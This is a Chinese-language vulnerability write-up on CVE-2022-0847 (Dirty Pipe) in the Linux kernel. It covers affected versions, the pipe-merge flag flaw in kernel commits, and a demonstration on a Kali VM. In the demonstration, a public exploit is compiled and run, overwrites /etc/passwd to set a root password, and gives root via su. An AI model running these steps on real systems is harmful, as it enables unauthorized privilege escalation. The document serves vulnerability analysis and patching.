一.漏洞描述
CVE-2022-0847是自5.8以来Linux内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root权限,因为非特权进程可以将代码注入到根进程。
CVE-2022-0847类似于CVE-2016-5195 “Dirty Cow”(脏牛提权),而且容易被利用,漏洞作者将其命名为Dirty Pipe。
二.影响范围
危险等级:高
POC/EXP:已公开
影响版本:linux内核5.8及 后续版本
注:安全版本Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
三.漏洞分析
这里简单介绍一下漏洞细节。
几个概念:
Linux pipe:半双工,数据流只能从一端到另一端;
pipe_buffer:管道缓存,用于暂存写入管道的数据,读写都在管道缓存进行;
page:页帧,4kb,与管道缓存有一对一关系;
pipe_buf_operations:用于存储管道缓存操作集;
can_merge:合并标识,如果通用管道读/写可能合并,则设置为1数据到现有缓冲区。如果设置为 0,则新管道页段总是用于新数据。
splice():在两个文件描述符之间移动数据,同sendfile( )函数一样,支持管道也是零拷贝。会将文件的页缓存和管道缓存进行绑定,即写入时会同时进行,在检查权限时只检查数据来源文件是否有读权限,写时无权限检查。大致调用链为:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/uio.h
copy_folio_to_iter --> copy_page_to_iter
// linux/lib/iov_iter.c
copy_page_to_iter --> __copy_page_to_iter --> copy_page_to_iter_pipe
Linux管道"合并"检测发展史:
这里根据作者的介绍简单分析一下代码。
-
最初的Linux系统和概念介绍的相同,存在can_merge标志位,用来标记新的数据是否可以写入当前已存在的管道缓存;
-
Commit 5274f052e7b3加入了splice()函数,但是验证没有发生变化,依旧根据can_merge标志位判断当前管道缓存是否可用;
-
Commit 01e7187b4119停止使用can_merge标志位,转而比较
struct pipe_buf_operations指针,即因为只有anon_pipe_buf_ops类型可以允许新数据写入,因此只需要验证是否是该类型即可;
-
Commit 241699cd72a8加入了两个新函数,可以分配了新的
struct pipe_buf_operations,但却不会对其flags标志进行初始化;
-
Commit f6dd975583bd将这个指针比较转化为对每个缓冲区标志 PIPE_BUF_FLAG_CAN_MERGE比较并且可以注入PIPE_BUF_FLAG_CAN_MERGE,同时取消了其他类型buf_ops的定义和使用。
因此作者有以下利用思路:
-
创建一个管道; -
设置pipe_buffer的PIPE_BUF_FLAG_CAN_MERGE 标志; -
清空管道,将目标前数据拼接入管道,此时splice会将管道缓存和页缓存绑定; -
任意向管道写入数据,此时write最终调用copy_page_from_iter()实现写入,因为PIPE_BUF_FLAG_CAN_MERGE标志位,会直接完成写入。
四.漏洞利用
目前采用kali虚拟机作为演示系统利用
目标系统要求,存在gcc即可
-
查看当前系统内核版本
xxx@xxx:/tmp$ uname -a
Linux xxx 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
-
拉取 exp
git clone https://github.com/xxxxxxxxxxxxxxxxxxxxx
-
利用执行
./compile.sh # gcc编译
./exploit # 执行exp返回如下error信息
xxx@xxx:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
密码: aaron
登录后即为root权限
-
还原 passwd文件
mv /tmp/passwd.bak /etc/passwd
五.漏洞修复
首先修复merge属性设置
其次是加入flags初始化设置

